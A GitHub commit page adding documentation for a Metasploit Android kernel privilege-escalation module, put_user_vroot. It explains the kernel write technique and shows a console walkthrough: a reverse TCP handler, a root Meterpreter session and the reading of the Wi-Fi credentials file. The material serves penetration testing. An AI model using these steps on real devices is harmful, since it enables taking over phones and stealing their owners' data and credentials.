Skip to content

Commit 16f2dc4

Browse files
committed
add documentation for put_user_vroot
1 parent c2dc350 commit 16f2dc4

File tree

1 file changed

+53
-0
lines changed

1 file changed

+53
-0
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Intro
2+
3+
This modules exploits a vulnerability in the linux kernel on an Android device, which allows an untrusted app to elevate to root priviledges. On Android an application normally runs as an individual linux user, sandboxing it from the Android system and other applications. After running the exploit the resulting session has full priviledge on the device, and can access the entire filesystem and the private data files of every other app, including system apps.
4+
5+
The exploit uses a read kernel memory primitive to first figure out the correct offsets for the device, before using the write primitive to overwrite the ptmx.fsync handler to a function that will elevate the current process to root. Finally /dev/ptmx is opened, and fsync called to trigger the exploit.
6+
7+
## Usage
8+
9+
You'll first need to obtain a session on the target device. Once the module is loaded, one simply needs to set the ```SESSION``` option and configure the handler. The exploit can take a while to run on the device so it is configured with ```WfsDelay``` option to wait 120 seconds for a session. If you have not had a session after this time you can assume the device is not vulnerable.
10+
11+
An example session follows:
12+
13+
14+
```
15+
msf exploit(handler) > sessions
16+
17+
Active sessions
18+
===============
19+
20+
Id Type Information Connection
21+
-- ---- ----------- ----------
22+
1 meterpreter dalvik/android u0_a132 @ localhost 192.168.1.52:4444 -> 192.168.1.54:33549 (192.168.1.54)
23+
24+
25+
msf exploit(handler) > use exploit/android/local/put_user_vroot
26+
27+
msf exploit(put_user_vroot) > set LHOST 192.168.1.52
28+
LHOST => 192.168.1.52
29+
30+
msf exploit(put_user_vroot) > set LPORT 5555
31+
LPORT => 5555
32+
33+
msf exploit(put_user_vroot) > set SESSION 1
34+
SESSION => 1
35+
36+
msf exploit(put_user_vroot) > run
37+
38+
[*] Started reverse TCP handler on 192.168.1.52:5555
39+
[*] Loading exploit library /data/data/com.metasploit.stage/files/bwycy
40+
[*] Loaded library /data/data/com.metasploit.stage/files/bwycy, deleting
41+
[*] Waiting 120 seconds for payload
42+
[*] Sending stage (388156 bytes) to 192.168.1.54
43+
[*] Meterpreter session 2 opened (192.168.1.52:5555 -> 192.168.1.54:59580) at 2016-12-24 00:19:12 +0800
44+
45+
46+
meterpreter > getuid
47+
Server username: uid=0, gid=0, euid=0, egid=0
48+
49+
meterpreter > cat /data/misc/wifi/wpa_supplicant.conf
50+
ctrl_interface=wlan0
51+
...
52+
53+
```

0 commit comments

Comments
 (0)